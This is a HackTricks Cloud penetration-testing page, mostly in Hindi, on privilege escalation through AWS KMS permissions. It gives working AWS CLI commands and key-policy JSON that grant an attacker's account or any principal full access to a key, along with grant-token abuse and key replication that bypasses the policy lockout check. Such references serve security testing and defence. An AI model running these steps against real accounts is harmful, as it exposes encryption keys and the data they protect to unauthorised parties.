AWS - KMS Privesc
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
KMS
KMS के बारे में अधिक जानकारी के लिए देखें:
kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)
इन अनुमतियों के साथ यह संभव है कि आप कुंजी के एक्सेस अनुमतियों को संशोधित कर सकें ताकि इसे अन्य खातों द्वारा या यहां तक कि किसी भी व्यक्ति द्वारा उपयोग किया जा सके:
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}
kms:CreateGrant
यह किसी प्रिंसिपल को KMS key का उपयोग करने की अनुमति देता है:
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt
Warning
एक grant केवल कुछ ही प्रकार के operations की अनुमति दे सकता है: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations
Warning
ध्यान दें कि KMS के लिए यह कुछ मिनट लग सकते हैं ताकि वह उपयोगकर्ता को key का उपयोग करने की अनुमति दे सके जब grant जनरेट हो चुका हो। एक बार वह समय बीत जाने के बाद, principal बिना कुछ निर्दिष्ट किए KMS key का उपयोग कर सकता है।
हालांकि, यदि grant को तुरंत उपयोग करने की आवश्यकता हो तो use a grant token (नीचे दिए गए कोड को देखें)।
अधिक जानकारी के लिए more info read this.
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token
ध्यान दें कि keys के grants को सूचीबद्ध करना संभव है:
aws kms list-grants --key-id <value>
kms:CreateKey, kms:ReplicateKey
इन permissions के साथ यह संभव है कि एक multi-region enabled KMS key को किसी अन्य region में, अलग policy के साथ replicate किया जाए।
इसका दुरुपयोग करके एक हमलावर privesc हासिल कर के key तक अपने access को बढ़ा सकता है और इसका उपयोग कर सकता है।
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}
kms:Decrypt
यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को decrypt करने की अनुमति देती है.
अधिक जानकारी के लिए देखें:
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
HackTricks Cloud

